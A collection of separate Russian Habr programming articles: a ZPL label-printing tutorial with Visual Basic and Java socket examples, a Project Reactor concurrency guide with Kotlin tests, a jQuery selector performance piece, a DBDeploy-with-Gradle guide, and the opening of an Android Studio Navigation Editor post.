Первую часть своего выступления я посвящу разбору синтаксиса этого языка, в объеме достаточном для создания этикеток удовлетворительного качества. Во-второй части, приведу примеры кода на Java и VisualBasic, для того, чтобы отправить этикетку на печать самостоятельно. На основе этих примеров, вы сможете самостоятельно построить свою програму, для печати.
##### Часть 1. Синтаксис ZPL
Во первых, все измерения в ZPL указываются в точках (points). Поэтому, для более ясного представления вы должны посмотреть в документации на принтер, какая у вас плотность точек на единицу измерения длины.
Сначала кратко пробежимся по основным командам, затем рассмотрим их более подробно в связке.
1. Начало и конец ZPL-кода:
**^XA** – начало кода, **^XZ** – конец кода;
2.Отступы для последующего содержимого:
**^FO x,y** где: x – отступ от левого края, y – отступ сверху;
3.Разделитель полей:
**^FS** — обозначает конец определения поля. Буквально можно считать его сигналом конца строки;
4.Масштабируемый текст. Состоит из двух частей, выбор шрифта и ввод текста:
4.1. Выбор шрифта:
**^A<название шрифта><ориентация текста>,<высота шрифта в точках>,<ширина в точках>:**
<название шрифта> – по-умолчанию стоит A. Точнее ее даже не надо вводить, другие шрифты можно взять из официальной документации:
<ориентация текста>:
N – нормальная ориентация; R – повернуто на 90 градусов по часовой стрелке;
I – перевернуто на 180 градусов; B – повернуто на 270 градусов;
4.2. Вывод текста с параметрами указанными в предыдущем пункте:
**^FD<текст>**
Примеры:
```
^XA
^FO20,20 - отступ по 20 точек от верхнего и левого края этикетки
^ASN,70,70 - нормальная ориентация, шрифт S, высота и ширина 70 точек
^FDWAR INC.^FS – содержание текста WAR INC.
^XZ
```
Повернем, и изменим шрифт:
```
^XA
^FO20,20 - отступ по 20 точек от верхнего и левого края этикетки
^ABB,30,30 - повернуто на 270 градусов, шрифт B, высота и ширина 30 точек
^FDWAR INC.^FS – содержание текста WAR INC.
^XZ
```
Изменим шрифт на S:
```
^XA
^FO20,20 - отступ по 20 точек от верхнего и левого края этикетки
^ASB,30,30 - повернуто на 270 градусов, шрифт S, высота и ширина 30 точек
^FDWAR INC.^FS – содержание текста WAR INC.
^XZ
```
Обязательно запомните, что разные шрифты могут выглядеть по разному, в отношении размеров, как можно видеть выше. Я чаще всего использую шрифт S.
###### 5.Блок текста:
**^FB<ширина>,<количество строк>,<пробелы между строками>,<выравнивание текста>,< отступ для второй или последующей строки>**
<положение текста> — может принимать значения: L(по левому краю), R (по правому краю), C (по центру), J (растянуть текст по ширине поля);
Обычно я использовал данную команду для центрирования текста, или если необходимо разместить текст в несколько строчек. Если текст не умещается в строку, он начинает накладываться сам на себя. И получается так:
```
^XA
^FO 20,20
^FB400,1,0,C,0
^AVN,70,70
^FDWAR INC WILD GOOSE^FS
^XZ
```
Изменим код, чтобы было две строки, и расстояние между строчками сделаем в 10 точек:
```
^XA
^FO 20,20
^FB400,2,10,C,0
^AVN,70,70
^FDWAR INC WILD GOOSE^FS
^XZ
```
А теперь сделаем отступ для второй строки в 30 точек влево:
```
^XA
^FO 20,20
^FB400,2,10,L,30
^AVN,70,70
^FDWAR INC WILD GOOSE^FS
^XZ
```
###### 6. Рисование прямоугольников:
**^GB<ширина>,<высота>,<толщина линии>, (<цвет линии>, <скругление углов>)**
В скобках указаны не обязательные параметры.
Цвет линии: B (черный) или W (белый)
Скругление углов указывается цифрой от 0, до 8 (сильное скругление)
Примеры:
С сильным скруглением:
```
^XA
^FO20,20
^GB300,100,2,B,8^FS
^XZ
```
Без скругления:
```
^XA
^FO20,20
^GB300,100,2^FS
^XZ
```
Если хотим нарисовать просто линию, то рисуем прямоугольник с высотой равной 0:
```
^XA
^FO20,20
^GB300,0,2^FS
^XZ
```
###### 7.Штрихкод состоит из трех команд – первая задает его размеры, вторая настройки и третья — содержание:
7.1.Размеры штрихкода:
**^BY<ширина>, (, <высота штрихкода>)**
7.2. Настройки штрихкода:
**^BC<ориентация>,<высота штрихкода в точках>, <печатать ли расшифровку кода>, <расшифровка кода над штрихкодом>, <режим>**
<ориентация> — N – нормальная ориентация; R – повернуто на 90 градусов по часовой стрелке; I – перевернуто на 180 градусов; B – повернуто на 270 градусов;
<печатать ли расшифровку кода>, <расшифровка кода над штрихкодом> — принимают значения Y (да) или N (нет);
<режим> — с этим полем я не разобрался, по умолчанию N;
> ^BC – штрихкод в стандарте 128 (подробнее [Code\_128](https://ru.wikipedia.org/wiki/Code_128)); Есть также еще несколько форматов, но ввиду того, что мне не приходилось ими пользоваться, в данной статье они рассматриваться не будут, и рекомендую посмотреть информацию по ним в официальной документации поставляемой к принтерам Zebra;
7.3. Вывод штрихкода на печать:
**^FD<кодируемая информация>**
> К сожалению, штрихкод нельзя поместить в «коробку», как текст, чтобы отцентрировать по ширине этикетки, и поэтому приходится шаманить с полями и отступами.
Примеры:
```
^XA
^FO 20,20
^BY3
^BCN,100,Y,N,N
^FD123456789^FS
^XZ
```
Перевернем, и укажем печатать расшифровку сверху (сейчас получилось снизу):
```
^XA
^FO 20,20
^BY3
^BCI,100,Y,Y,N
^FD123456789^FS
^XZ
```
На этом остановимся на рассмотрении основных элементов ZPL, и перейдем к части второй, в которой вкратце рассмотрим механизм отправки информации на принтер.
##### Часть 2. Печать
Механизм передачи проще некуда. Для этого, мы должны знать IP, где находится принтер, и порт. Далее, формируем поток, который отправляем по указанному адресу, и получаем на выходе этикетку.
Пример на Visual Basic:
```
Dim i As Double
Dim SSCC As String
Dim ipAddress As String = "127.0.0.1"
Dim port As Integer = 1234
Dim ZPLString As String
Try
'Открываем соединение
Dim client As New System.Net.Sockets.TcpClient
client.Connect(ipAddress, port)
Dim writer As New System.IO.StreamWriter(client.GetStream())
'Формируем ZPL-строку
ZPLString=
"^XA" &
"^BY2" &
"^FO0,200" &
"^FB632,2,0,C,0" &
"^ASN,60,60" &
"^FDHELLO HABRAHABR!!!^FS" &
"^XZ"
writer.Write(ZPLString)
writer.Flush()
'закрываем соединение
writer.Close()
client.Close()
Catch ex As Exception
End Try
```
Пример на Java:
```
import java.io.IOException;
import java.io.OutputStream;
import java.io.PrintWriter;
import java.net.Socket;
public class PrintToZebra {
public static void main(String[] args) throws IOException {
System.out.println("Готовлю к печати");
try(Socket s = new Socket("127.0.0.1", 1234)){
OutputStream out = s.getOutputStream();
PrintWriter writer = new PrintWriter(out, true);
String ZPLString=
"^XA" +
"^BY2" +
"^FO0,200" +
"^FB632,2,0,C,0" +
"^ASN,60,60" +
"^FDHELLO HABRAHABR!!!^FS" +
"^XZ";
writer.println(ZPLString);
writer.flush();
System.out.println("Отправил на печать");
}
}
}
```
Как видите, ничего сложного. Надеюсь, что моя статья, облегчит путь отважным укротителям Зебр.
Засим позвольте откланяться. Жду советов, критики и поддержки. | https://habr.com/ru/post/266677/ | null | ru | null |
# Разгоняем REACTOR
Привет, Меня зовут Константин, я работаю руководителем разработки в Газпромбанке. Сегодня я расскажу о том, как начать работать с Reactor и познать дзен :)
Кому будет интересно?
---------------------
Reactor сегодня - это стильно, модно, молодежно. Почему многие из нас практикуют реактивное программирование? Мало кто может ответить однозначно на этот вопрос. Хорошо - если Вы понимаете свой выигрыш, плохо - если реактор навязан организацией как данность. Большинство аргументов "ЗА" - это использование микросервисной архитектуры, которая в свою очередь обязывает микросервисы часто и много коммуницировать между собой.
Для коммуникации в большинстве случаев выбирают HTTP взаимодействие. Для HTTP нужен легковесный веб-сервер, а что первое приходит на ум? Tomcat. Но тут появляются проблемы с лимитом на максимальное количество сессий, при превышении которого веб-сервер начинает реджектить запросы (хотя лимита этого не так легко достичь). Здесь на подмогу приходит "реактор", который подобными лимитами не ограничен. А в качестве веб-сервера можно использовать Netty, который работает с реактивностью из коробки.
Раз есть реактивный веб-сервер, нужен реактивный веб-клиент (Spring WebClient или Reactive Feign), а раз клиент реактивный, то вся эта жуть просачивается в бизнес логику, Mono и Flux становятся Вашими лучшими друзьями (хотя по началу есть только ненависть :))
Среди бизнес-задач, часто встречаются серьезные процедуры, которые обрабатывают большие массивы данных, и нам приходится применять реактор и для них. Тут начинаются сюрпризы. Если реактор не уметь готовить, можно и схлопотать очень много проблем: превышение лимита файловых дескрипторов на сервере, OutOfMemory из-за неконтролируемой скорости работы неблокирующего кода и многое многое другое, о чем мы сегодня поговорим. Мы с коллегами испытали очень много трудностей из-за проблем с пониманием как держать реактор под контролем, но всё что нас не убивает - делает нас умнее!
Блокирующий и неблокирующий код
-------------------------------
Вы ничего не поймете дальше, если не будете понимать разницу между **блокирующим** и **неблокирующим** кодом. Объясню в чем разница. Вы уже знаете, что блокирующий код реактору - враг, а неблокирующий - бро. Проблема лишь в том, что в настоящий момент, не все взаимодействия имеют неблокирующие аналоги.
> Лидер здесь - HTTP взаимодействие, вариантов масса, выбирай любой. Я предпочитаю Reactive Feign от Playtika, в комбинации со Spring Boot + WebFlux + Eureka мы получаем очень годную сборку для микросервисной архитектуры.
>
>
Давайте по-простому: НЕблокирующий код, это обычно всё, в названии чего есть reactive, а блокирующий - все оставшееся. Hibernate + PostgreSQL - блокирующий, отправить почту через JavaMail - блокирующий, скинуть сообщение в очередь IBMMQ - блокирующий. Но есть, например, реактивный драйвер для MongoDB - неблокирующий. Отличительной особенностью блокирующего кода, является то, что глубоко внутри произойдет вызов метода, который заставит Ваш поток ждать (Thread.sleep() / Socket.read() и многие подобные), что для реактора - как нож в спину. Что же делать? Большинство бизнес логики завязано на базу данных, без нее никуда. На самом деле достаточно знать и уметь делать 2 вещи:
* Необходимо понимать где блокирующий код. В этом может помочь проект BlockHound или его аналоги (тут тема для отдельной статьи).
* Исполнение блокирующего кода необходимо переключать на пулы, готовые его выполнять, например: `Schedulers.boundedElastic()`. Делается это при помощи операторов `publishOn` & `subscribeOn.`
Разгоняемся сами
----------------
Перед тем, как продолжить, необходимо немного размяться!
**Уровень 1**
```
@Test
fun testLevel1() {
val result = Mono.just("")
.map { "123" }
.block()
assertEquals("123", result)
}
```
Начнем с простого. Такой код обычно пишут начинающие reactor программисты. Как начать цепочку? `Mono.just` - и ты на коне :) Оператор `map` трансформирует пустую строку в "123", а оператор `block` делает `subscribe`.
> Обращаю особенное внимание на `block`, не поддавайтесь соблазну использовать его в вашем коде (за исключением тестов, где это очень удобно). При вызове `block` внутри метода вашего `RestController`, Вы сразу получите исключение в рантайме.
>
>
**Уровень 2**
```
fun nonBlockingMethod1sec(data: String)
= data.toMono().delayElement(Duration.ofMillis(1000))
@Test
fun testLevel2() {
val result = nonBlockingMethod1sec("Hello world")
.flatMap { nonBlockingMethod1sec(it) }
.block()
assertEquals("Hello world", result)
}
```
Усложняем наш код, добавляем **неблокирующий** метод `nonBlockingMethod1sec`, все что он делает - ждет одну секунду. Этот код, дважды, по очереди, запускает неблокирующий метод.
**Уровень 3**
```
fun collectTasks() = (0..99)
@Test
fun testLevel3() {
val result = nonBlockingMethod1sec("Hello world")
.flatMap { businessContext ->
collectTasks()
.toFlux()
.map {
businessContext + it
}
.collectList()
}
.block()!!
assertEquals(collectTasks().toList().size, result.size)
}
```
Начинаем добавлять самое интересное - `Flux`! У нас появляется метод `collectTasks`, который собирает массив из сотни чисел, и далее мы делаем из него `Flux` - это будет наш список задач. К каждой задаче мы применяем трансформацию через оператор map. Оператор `collectList` собирает все результаты в итоговый список для дальнейшего использования.
Здесь наш код начинает превращаться в рабочий паттерн, который можно использовать для массового выполнения задач. Сначала мы собираем некий "бизнес контекст", который мы используем в дальнейшем для выполнения задач.
**Уровень 4**
```
fun collectTasks() = (0..100)
@Test
fun testLevel4() {
val result = nonBlockingMethod1sec("Hello world")
.flatMap { businessContext ->
collectTasks().toFlux()
.flatMap {
Mono.deferContextual { reactiveContext ->
val hash = businessContext + it + reactiveContext["requestId"]
hash.toMono()
}
}.collectList()
}
.contextWrite { it.put("requestId", UUID.randomUUID().toString()) }
.block()!!
assertEquals(collectTasks().toList().size, result.size)
}
```
Добавляем немного плюшек. Появилась запись данных `(15)` в реактивный контекст, а также чтение `(10)` из него. Мы почти у цели. Постепенно переходим к итоговому варианту
**Уровень 5**
```
fun collectTasks() = (0..1000)
fun doSomethingNonBlocking(data: String)
= data.toMono().delayElement(Duration.ofMillis(1000))
fun doSomethingBlocking(data: String): String {
Thread.sleep(1000); return data
}
val pool = Schedulers.newBoundedElastic(10, Int.MAX_VALUE, "test-pool")
private val logger = getLogger()
@Test
fun testLevel5() {
val counter = AtomicInteger(0)
val result = nonBlockingMethod1sec("Hello world")
.flatMap { _ ->
collectTasks().toFlux()
.parallel()
.runOn(pool)
.flatMap {
Mono.deferContextual { _ ->
doSomethingNonBlocking(it.toString())
.doOnRequest { logger.info("Added task in pool ${counter.incrementAndGet()}") }
.doOnNext { logger.info("Non blocking code finished ${counter.get()}") }
.map { doSomethingBlocking(it) }
.doOnNext { logger.info("Removed task from pool ${counter.decrementAndGet()}") }
}
}.sequential()
.collectList()
}
.block()!!
assertEquals(collectTasks().toList().size, result.size)
}
```
Вот мы и добрались до итогового варианта! Часть с реактивным контекстом была опущена для более наглядной демонстрации того, зачем мы здесь собрались. У нас появились два новых метода: `doSomethingNonBlocking` `(3)` & `doSomethingBlocking` `(6)` - один с **неблокирующим** ожиданием в секунду, второй с **блокирующим**. Мы создали пул потоков для обработки задач `(10)`, добавили счетчик активных задач в реакторе `(15)`. У нас появился оператор `parallel` `(19)` и обратный ему `sequential` `(29)`. Задачи мы назначили на свежесозданный пул `(20)`. Для понимания, что же происходит внутри, добавили логирование внутри операторов `doOnRequest` (вызывается перед исполнением метода), `doOnNext` (вызывается после исполнения метода). Основная задумка - на примере, определить сколько задач одновременно выполняется в реакторе и за какое время цепочка завершит свою работу.
Такой "паттерн", мы с коллегами очень часто применяем для выполнения сложных задач, таких как отправка отчетов или массовая обработка транзакций. Первым делом собирается бизнес контекст - это некая структура, содержащая в себе информацию, полученную в результате вызовов других микросервисов. Бизнес контекст необходим нам для выполнения самих задач, и собирается он заранее, чтобы не тратить время в процессе обработки. Далее мы собираем список задач, превращаем их во Flux и скармливаем реактору на параллельную обработку.
И вот здесь начинается самое интересное. Попробуйте ответить на несколько вопросов. Как вы считаете, сколько времени будет выполняться данная цепочка? В ней 100 задач, в каждой задаче неблокирующее ожидание в 1 секунду, блокирующее ожидание в 1 секунду, и у нас в наличии пул из 10 потоков? (Вполне годная задачка на собеседование senior reactor developer :))
Правильный ответОколо 12 секунд. Рассуждаем от блокирующего :) Блокирующее ожидание никуда не деть, и тут имеем 100 блокирующих секунд на 10 потоков, итого 10 секунд. Неблокирующее ожидание заметно нам лишь в первый раз, далее оно незаметно запускается в передышках между блокирующим. Не забываем про одну секунду сбора "бизнес контекста" перед запуском задач.
А теперь уберем строку `(26) .map { doSomethingBlocking(it) }` . Освободим наш реактор от блокирующего кода. Сколько теперь времени займет выполнение цепочки?
Правильный ответ2 секунды! 1 на сбор "бизнес контекста" и 1 на выполнение всех задач. Реактор запустит 100 задач одновременно. Но ведь у нас пул из 10 потоков? Как так? Первый разрыв шаблона.
Идем до конца и увеличиваем количество задач в методе `collectTasks()` до ... 1000? А может сразу до 15000? Как долго Reactor будет выполнять столько задач?
Правильный ответ2 секунды! 1 на сбор "бизнес контекста" и 1 на выполнение всех задач. Реактор запустит ВСЕ задачи одновременно. Второй разрыв шаблона. Где предел?
А это вообще легально?
----------------------
Как же так и как это контролировать? Почему это опасно? Что если внутри параллельной обработки вы решите вызвать другой микросервис? Если у вас 30000 задач, и по завершению каждой надо отправлять запрос соседнему микросервису, вы с удивлением можете обнаружить, что реактор непременно постарается выполнить все вызовы одновременно (ведь используется реактивный web-client или реактивный feign, верно?)
Открытие такого большого количества сокетов повлечет за собой превышение лимита открытых файловых дескрипторов в системе, что, как минимум, создаст проблемы с невозможностью создания новых сокетов в системе и помешает другим сервисам. А как максимум - повалит вам на сервере SSH и Вы потеряете к нему доступ. Сомневаюсь, что в этот момент, программист будет радоваться - "зато смотри как быстро работает".
Разрыв шаблона. Thread Pool & Reactor
-------------------------------------
Основная проблема начинающего реактор программиста - это образ мышления, если есть медленный процесс - добавь X потоков, будет быстрее в X раз, а если слишком быстро - сократи количество потоков. Как всё просто было раньше? С реактором это не работает.
Классический thread pool - двери. Больше дверей - больше пропускная способность, все работает быстрее.
Теперь встречайте Reactor! Вы видите двери? Нет никаких дверей
Реактор - это большой мешок с подарками, или воздушная труба, в которую падают задачи и летают там, пока не выполнятся. А кто эти люди в желтом? Это наши epoll реактивные потоки, которые ни в коем случае нельзя нагружать блокирующими задачами. Можно провести аналогию с прорабами или инженерами. Они здесь, чтобы управлять процессом, а не чтобы выполнять тяжелую работу. Займите одного инженера тяжелой задачей, и когда к нему придет следующий рабочий с вопросом - "что делать дальше?", он не сможет ответить, потому что был занят. Вот так и появляются таймауты в реактивном коде. Казалось бы микросервис стоит без нагрузки, выполняет какие-то задачки, а один из 500 запросов к нему падает с тайм-аутом, и непонятно почему. Велика вероятность что инженер был занят блокирующей задачей! Заботьтесь о своих инженерах и поручайте тяжелую работу специально обученным рабочим, например, `Schedulers.boundedElastic()`.
А как контролировать эту "трубу", в которую валится всё без контроля? Вот мы и подошли к кульминации!
Конфигурируем реактор!
----------------------
В дефолтной конфигурации, параллельная обработка в реакторе зависит от количества ядер процессора сервера, на котором запускается код, поэтому, к своему удивлению, вы получите разные результаты, проверяя работу реактора в тесте на локальной машине с 4-8 ядрами и production сервере с 32 ядрами.
**Парад настроек открывает** `parallel` **с его аргументом** `parallelism`
Меняя `parallelism`, мы можем регулировать количество запускаемых rails (это местное понятие реактора, которое похоже на корутины, но по сути является количеством одновременно выполняемых неблокирующих задач). Prefetch мы рассмотрим более подробно в следующем разделе.
Но одного parallelism недостаточно, Reactor все еще будет нагребать задач как не в себя.
Мало кто обращал внимание что **у оператора** `flatMap`(только того что запускается на Flux) есть перегрузки с интересными аргументами, а именно`maxConcurrency`
`maxConcurrency` очень важен, по дефолту значение стоит `Integer.MAX_VALUE` (определяет сколько неблокирующих задач может выполняться одновременно на одной рельсе. Понимаете теперь откуда аппетит у реактора?
Также, не стоит забывать, что если цепочка будет запущена несколько раз (вызов одного http метода контроллера несколько раз), то все помножится! Никакой пул не спасет.
Количество запусков цепочки напрямую влияет на количество одновременно выполняемых задач.
**Подведем небольшой итог:**
* parallel (parallelism)
* flatMap (maxConcurrency)
* Количество запусков цепочки
Эти три параметра являются **множителями**, для расчета количества одновременных задач.
По дефолту это `Количествово ядер * Integer.MAX_VALUE * Количество запусков цепочки`
Напротив же, запустив данный код для 5 задач длительностью в секунду мы получим цепочку работающую 5 секунд. Теперь всё под контролем!
```
val result = nonBlockingMethod1sec("Hello world")
.flatMap { _ ->
collectTasks().toFlux()
.parallel(1)
.runOn(pool, 1)
.flatMap({
Mono.deferContextual { _ ->
doSomethingNonBlocking(it.toString())
}
}, false, 1, 1)
.sequential()
.collectList()
}
.block()!!
```
Стоп, или не всё?
Thread Pool
-----------
Зачем же нужен пул потоков в реакторе? Думайте о нем как о двигателе для вашего автомобиля. Чем пул мощнее - тем **блокирующие** задачи будут разбираться быстрее, а если потоков мало, то и **блокирующие** задачи задержатся у вас надолго! А куда же мы без блокирующих вызовов? На количество одновременно выполняемых задач в реакторе он не влияет, вот это поворот :)
> Надеюсь, Вы не пробовали использовать Schedulers.parallel() для исполнения Вашего блокирующего кода? =) Несмотря на свое подходящее название ~~(ну называется он parallel, значит и нужен для параллельной обработки)~~ использовать этот пул можно только для неблокирующего кода, в доке указано что он живет с одним воркером, и содержит в себе только особенные, реактивные потоки.
>
>
Распределение задач по рельсам
-------------------------------
Не коснулись мы еще одной важной темы. Обычно, мы пытаемся закончить обработку большого массива данных в кратчайший срок, с чем нам определенно поможет изложенный выше материал, но это еще не все. В тестах мы часто используем синтетические данные, которые генерируем одинаковыми порциями, исключая погрешности production среды. Задачи обычно выполняются разное время и это создает проблемы с равномерным их распределением.
Зеленые прямоугольники - это наши задачи, которые распределяются в реакторе по алгоритму round-robin, что в случае с синтетическими данными дает красивую картинку.
Хорошо загруженный Reactor (задачи равномерно распределены).
54 блокирующих задачи (каждая по 1сек),
round-robin распределение по 6 рельсамНо запуская код в production среде, мы можем встретиться с долгим запросом в базу, сетевыми задержками, плохим настроением микросервиса да и чего только не бывает.
Плохо загруженный пул (задачи распределены не равномерно)
54 блокирующих задачи (каждая по 1сек кроме двух),
round-robin распределение по 6 рельсамОператор `collectList()` вернет нам результат только после завершения последней задачи, и как мы видим, наш пул будет простаивать пока один поток трудится разгребая очередь задач. Это создает неприятные задержки: когда вы знаете что можно быстрее, но быстрее не получается.
Бороться с этим можно несколькими способами:
* `concatMap` вместо `flatMap` (посмотрите в профилировщик на ваш пул, передумаете);
* правильно планировать задачи, чтобы исключить аномалии (почти невозможно);
* дробить каждую задачу на много мелких, и запускать их в параллельную обработку, чтобы нивелировать проблемы с распределением (вполне рабочий вариант);
* `prefetch` (наш выбор).
Параметр `prefetch` у `flatMap` & `runOn` позволяет определить, сколько задач будет взято на одну рельсу на старте, а затем при достижении некоторого порога выполнения, реквесты будут повторяться с этим количеством. Значение по умолчанию - 256. Сменив его на 1, можно заставить реактор использовать механизм work stealing, при котором, освободившиеся рельсы и потоки, будут забирать задачи себе на выполнение, и картина получится гораздо более приятная.
Хорошо загруженный пул (задачи равномерно распределены)
54 блокирующих задачи (каждая по 1сек кроме двух),
round-robin распределение по 6 рельсам
Prefetch!На этом у меня всё. Будет интересно прочесть Ваши замечания и комментарии, на 100% истину не претендую, но все результаты подкреплены практическими примерами, на Spring Boot + Project Reactor 3.4. Всем спасибо! | https://habr.com/ru/post/562482/ | null | ru | null |
# Используем быстрые селекторы для jQuery
Как Вы знаете — в разработке объёмного JS-приложения где используется популярнейшая библиотека [jQuery](http://jquery.com) наступает момент когда остро встаёт проблема производительности. Все силы кидаются на амбразуру профайлера, каждый вызов скрупулёзно исследован, каждый функционально нагруженный кусок реализации обнюхан со всех сторон и выправлен. Но беда поступает не с той стороны, откуда её ждут 90% разработчиков. **Селекторы** — Как много в этом слове.
Давайте разберёмся — как работает эта магия и почему поиск DOM-элементов может стать причиной падения производительности приложения.
#### Как jQuery разбирает селектор
В самой библиотеке для поиска элементов используется движок [Sizzle](http://sizzlejs.com/) у которого есть ряд особенностей. Их мы и рассмотрим.
##### querySelectorAll()
В новых браузерах появилась отменная функция [querySelectorAll()](http://www.w3.org/TR/selectors-api2/) и querySelector(), которая умеет производить поиск элементов используя возможности браузера (в частности — используемые при просмотре CSS и назначении свойств элементам). Работает данная функция не во всех браузерах, а только в **FF 3.1+**, **IE8+** *(только в стандартном режиме IE8)*, **Opera 9.5+**(?) и **Safari 3.1+**. Так вот Sizzle всегда определяет наличие данной функции и пытается любой поиск выполнить через неё. Однако, тут не без сюрпризов — для успешного использования querySelectorAll() наш селектор должен быть валидным.
Приведу простой пример:
Два приведенных селектора практически ничем не отличаются и вернут одинаковый набор элементов. Однако первый селектор вернёт результат работы querySelectorAll(), а второй — результат обычной фильтрации по элементам.
`$('#my_form input[type="hidden"]')`
`$('#my_form input[type=hidden]')`
##### Разбор селектора и поиск
Если не удалось использовать querySelectorAll(), Sizzle будет пытаться использовать обычные функции браузера getElementById(), getElementsByName(), getElementsByTagName() и getElementByClass(). В большинстве случаев их хватает, но (sic!) в IE < 9 getElementByClassName() поломана и использование селектора по классу приведёт к полному перебору элементов в этом браузере.
В общем случае Sizzle разбирает селектор справа налево. Для иллюстрации данной особенности приведу несколько примеров:
`$('.divs .my_class')`
Сначала будут найдены элементы .my\_class, а потом отфильтрованы только те, которые имеют .divs в родителях. Как мы видим — это довольно затратная операция, причём использование контекста не решает проблемы (о контексте мы поговорим ниже).
Как я уже сказал — в большинстве случаев Sizzle будет разбирать селектор справа налево, но не в случае использования элемента с ID:
`$('#divs .my_class')`
В таком случае селектор поведёт себя как ожидалось и сразу будет взят элемент #divs для использования в виде контекста.
##### Контекст
Второй параметр, передаваемый вместе с селектором в функцию $() называется контекстом. Он призван сузить круг поиска элементов. Однако — при разборе контекст пристыкуется к началу селектора, что выигрыша совершенно не даёт. Выигрышная комбинация использования контекста — валидный селектор для querySelectorAll(), так как данная функция может быть применена не только от имени document, но и от элемента. Тогда селектор с контекстом образно трансформируется следующую конструкцию:
`$('.divs', document.getElementById('wrapper'));
document.getElementById('wrapper').querySelectorAll('.divs'); // при наличии возможности использовать querySelectorAll()`
В данном примере, если невозможно использовать querySelectorAll(), Sizzle будет фильтровать элементы простым перебором.
Ещё одно замечание о контексте (речь не о селекторах) — если вторым параметром в селектор для функции .live() передать объект jQuery — событие будет ловиться на document(!), а если DOM-объект — то всплывать событие будет только до этого элемента. Такие тонкости я стараюсь не запоминать, а использую [.delegate()](http://api.jquery.com/delegate).
##### Фильтры и иерархия элементов
Для поиска вложенных элементов можно воспользоваться следующим селектором:
`$('.root > .child')`
Как мы знаем — разбор селектора и поиск начнётся со всех .child элементов на странице (при условии, что querySelectorAll() недоступно). Такая операция достаточно затратна и мы можем трансформировать селектор так:
`$('.child', $('.root')[0]); // использование контекста не облегчит поиск
$('.root').find('.child'); // а зачем нам перебор всех элементов внутри .root?
$('.root').children('.child'); // самый правильный вариант`
Однако, если есть необходимость использовать фильтры по каким-либо атрибутам (:visible, :eq и т.д.) и селектор выглядит так:
`$('.some_images:visible')`
то фильтр будет применён в последнюю очередь — т.е. мы опять отступаем от правила «справа налево».
##### Итоги
* По возможности используйте правильные селекторы, подходящие под querySelectorAll()
* Заменяйте подчинённости внутри селекторов на подзапросы (.children(...) и т.д.)
* Уточняйте контекст селектора
* Фильтруйте как можно меньший готовый набор элементов
Быстрых селекторов Вам в новом году! Всех в наступившим!
По мотивам мастер-класса **[Ильи Кантора](http://javascript.ru/mk)** и собственных наблюдений. | https://habr.com/ru/post/111195/ | null | ru | null |
# Как запускать DBDeploy в Gradle
В данной заметке я покажу, как запускать DBDeploy из скрипта Gradle.
### О чём это вообще?
Возможно, вы уже слышали о версионированной миграции структуры баз данных. Об этом [писали на хабре](http://habrahabr.ru/post/121265/). [DBDeploy](http://dbdeploy.com/) — один из самых простых и известных инструментов, позволяющий легко установить все последние изменения в базе данных на любом инстансе и любой девелоперской машине. А [Gradle](http://www.gradle.org/) — модный ныне инструмент для сборки проекта (как Ant и Maven, только лучше). О нём тоже [уже писали](http://habrahabr.ru/post/107558/).
### И в чём вопрос?
Вопрос в том, как запускать DBDeploy из скрипта Gradle? У DBDeploy есть таски для Ant и плагин для Maven, но пока ещё нет плагина для DBdeploy (точнее, он в зачаточном состоянии). Немного потыркавшись, я пришёл к выводу, что самый простой способ — это использовать тот самый Ant таск DBDeploy из скрипта Gradle ([здесь](http://www.gradle.org/docs/current/userguide/ant.html) описано, как из gradle-скрипта использовать любые Ant-таски). Рассмотрим пример.
### Задача ясна, с чего начнём?
Допустим, наш проект имеет следующую структуру. В папке «db» хранятся SQL-скрипты:
* db
+ create\_changelog\_table.sql
+ 001\_create\_customer\_table.sql
+ 002\_create\_address\_table.sql
+ 003\_etc...
* build.gradle
Тогда мы можем создать Gradle-скрипт с 3 тасками:
#### build.gradle
```
project.ext {
dbDriver = 'com.mysql.jdbc.Driver'
dbUrl = 'jdbc:mysql:///habrahabr'
dbUsername = 'habra'
dbPassword = 'habr'
}
```
##### task updateDatabase
```
task updateDatabase << {
ant.taskdef(name: 'dbdeploy',
classname: 'com.dbdeploy.AntTarget',
classpath: configurations.compile.asPath)
ant.dbdeploy(driver: dbDriver,
url: dbUrl,
userid: dbUsername,
password: dbPassword,
dir: 'db',
dbms: 'mysql',
undooutputfile: 'db/undo_last_change.sql')
}
```
##### task createChangelogTable
```
**task createChangelogTable** << {
ant.sql(driver: dbDriver,
url: dbUrl,
userid: dbUsername,
password: dbPassword,
encoding: 'UTF-8',
classpath: configurations.compile.asPath) {
fileset(file: 'db/create_changelog_table.sql')
}
}
```
##### task undoLastChange
```
**task undoLastChange** << {
ant.sql(driver: dbDriver,
url: dbUrl,
userid: dbUsername,
password: dbPassword,
encoding: 'UTF-8',
classpath: configurations.compile.asPath) {
fileset(file: 'db/undo_last_change.sql')
}
}
```
### Как это запускать?
Таким образом у нас появилось 3 таска:
##### > gradle createChangelogTable
```
:createChangelogTable
BUILD SUCCESSFUL
```
##### > gradle updateDatabase
```
[ant:dbdeploy] dbdeploy 3.0M3
[ant:dbdeploy] Reading change scripts from directory /tmp/habr/gradle-dbdeploy/db...
[ant:dbdeploy] Changes currently applied to database:
[ant:dbdeploy] 1..61
[ant:dbdeploy] Scripts available:
[ant:dbdeploy] 62..62
[ant:dbdeploy] To be applied:
[ant:dbdeploy] 62..62
[ant:dbdeploy] Applying #62: 062_migrate_currency_to_eur.sql...
[ant:dbdeploy] -> statement 1 of 5...
[ant:dbdeploy] -> statement 2 of 5...
[ant:dbdeploy] -> statement 3 of 5...
[ant:dbdeploy] -> statement 4 of 5...
[ant:dbdeploy] -> statement 5 of 5...
[ant:dbdeploy] Generating undo scripts...
BUILD SUCCESSFUL
```
##### > gradle undoLastChange
```
:undoLastChange
BUILD SUCCESSFUL
```
Теперь вы можете, один раз запустив «gradle createChangelogTable», запускать «gradle updateDatabase» каждый раз хоть после каждого изменения скриптов, а для отмены последних изменений использовать «gradle undoLastChange».
### Подведём итоги
Gradle предоставляет очень лаконичный и читабельный синтаксис для билд-скриптов, DBDeploy предлагает простой и надёжный способ ставить изменения в БД. И они прекрасно сработались.
Удачного БДения! | https://habr.com/ru/post/152765/ | null | ru | null |
# Navigation Editor — новый инструмент в Android Studio
В Android Studio появился интересный инструмент для быстрого прототипирования экранов активностей. Как говорят авторы на [своей страничке](http://tools.android.com/navigation-editor) — это пока только предварительная проба пера и данный инструмент ещё будет дорабатываться. Редактор может оказаться полезным как дизайнерам, так и начинающим разработчикам.
Я решил немного поиграться с редактором.
